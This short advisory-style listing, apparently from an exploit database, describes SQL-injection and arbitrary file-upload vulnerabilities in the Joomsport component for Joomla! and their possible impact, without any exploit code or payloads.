Joomla! Joomsport Component SQL Injection and Arbitrary File Upload Vulnerabilities. Webapps exploit for php platform

The Joomsport component for Joomla! is prone to an SQL-injection vulnerability and an arbitrary file-upload vulnerability because it fails to sanitize user-supplied data.

Exploiting these issues could allow an attacker to compromise the application, execute arbitrary code, access or modify data, or exploit latent vulnerabilities in the underlying database.
